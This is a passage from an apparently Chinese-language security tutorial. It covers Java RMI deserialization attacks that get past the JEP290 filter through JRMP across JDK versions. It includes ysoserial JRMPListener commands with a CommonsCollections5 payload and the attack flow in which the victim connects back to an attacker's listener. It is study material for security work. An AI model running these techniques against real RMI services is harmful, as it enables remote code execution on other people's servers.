| java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 calc.exe
|

我们客户端主动连接,可以看到即使在高版本下依然还是被执行了。
这说明JRMP服务端打JRMP客户端的攻击方法不受JEP290的限制!
看到这里是不是大概有思路了。也就是说如果服务器主动连接 exploit/JRMPListen,是不是就必然会被我们漏洞利用攻击了?
因此我们的难点就变成了怎么让受害服务器去主动连接我们的 exploit/JRMPListen。
这里我们再引入ysoserial的payload/JRMPClient,只要目标服务器反序列化这个对象就会主动连接外部的 RMI 注册中心。
而我们的问题就变成了怎么让目标反序列化这个对象,在 RMI 的漏洞利用中也就是怎么让这个对象绕过 JEP290 的白名单过滤。
这一部分可以看啦啦师傅的文章,写的很清楚。

那么最后的问题就是怎么把这个对象发送给目标呢?
通过 Bind 去发送 Payload/JRMPClient(8u141 之前)
这部分我的环境是 8u65。
- 物理机器ip:192.168.66.71 作为攻击端
- 虚拟机ip:192.168.112.133开启RMI服务
虚拟机定义一个IRemoteObj接口
RemoteObjimpl实现方法,创建注册中心 ,开启RMI服务,并且有commons-collections。

攻击端使用exploit/JRMPListener开启一个恶意的RMI服务,Payload我用的是 ysoserial的payload/JRMPClient,能够绕过 JEP290,直接拿过来用就行
1
| java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections5 calc.exe
|

服务端成功被RCE

攻击流程如下:
- 攻击方在自己的服务器使用
exploit/JRMPListener
开启一个rmi监听
- 往存在漏洞的服务器发送
payloads/JRMPClient
,payload中已经设置了攻击者服务器ip及JRMPListener监听的端口,漏洞服务器反序列化该payload后,会去连接攻击者开启的rmi监听,在通信过程中,攻击者服务器会发送一个可执行命令的payload(假如存在漏洞的服务器中有使用org.apacje.commons.collections
包,则可以发送CommonsCollections
系列的payload),从而达到命令执行的结果。
细想这个过程,会发现这个过程跟fastjson的JNDI注入攻击模式很相似,用一个payload去诱导目标服务器发起一个外部连接,连接到我们控制的恶意服务,恶意服务再去返回payload从而在服务器上完成命令执行。
注册端对于服务端地址校验的变动
为什么在8u141后这种攻击手法不行了呢?这里直接借用啦啦师傅的图来说明,关键在RegistryImpl_Skel类。

也就是说在8u141之前, JRMP 的反序列化发生在这个地址校验之前,因此这个限制对我们来说没有作用。所以我们可以直接通过 bind 去把这个对象给发送个注册中心。此后,在 8u141 修复中对这个校验提前了,因此通过 bind 去发生 payload 不再可行。
通过 lookup 去发送 Payload/JRMPClient(8u231 之前)(我的环境为JDK141)
由于 8u141 之后修复了服务段和注册中心的地址校验问题,没办法再用 Bind 了,但我们还可以使用 lookup 方法来发送 JRMPClient Payload。
但在 8U231 之后,Oracle 开始对 JEP290 拦截的白名单进行增强修复,因此我们封装的 JRMPClient 无法通过 JEP290 的拦截了。
这里问题在于 Lookup 只接收 String 类型,我们需要想办法,让我们的 Lookup 能接收 Object 对象,这里要么实现一个 HOOK 拦截器,要么重写 Lookup。
这里 ysomap 这个工具就重写了 Lookup,我们只需要拿过来用就完事了。
ysomap.exploit.rmi.component.Naming#lookup


通过 lookup 去发送 Payload/JRMPClient(8u241 之前)(我的环境为jdk231)
8u231 主要修复的是
也就是说我们的 payload/JRMPClient 需要想办法重新封装以绕过 8u231 的修复。这里我们利用 ysomap 中封装好的对象,然后老样子通过 lookup 给服务器传进去即可。


参考连接
Java RMI 攻击由浅入深
JAVA RMI 反序列化攻击 & JEP290 Bypass分析
针对RMI服务的九重攻击 - 上
针对RMI服务的九重攻击 - 下
基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI
JAVA安全之RMI命令执行深度刨析
Java安全学习——利用RMI进行攻击
Bypass JEP290攻击rmi
Java RMI(远程方法调用)漏洞利用 - Java
JRMP通信攻击过程及利用介绍
ysoserial exploit/JRMPClient原理剖析
ysoserial exploit/JRMPListener原理剖析
Java安全之ysoserial-JRMP模块分析(一)
Java 代理模式详解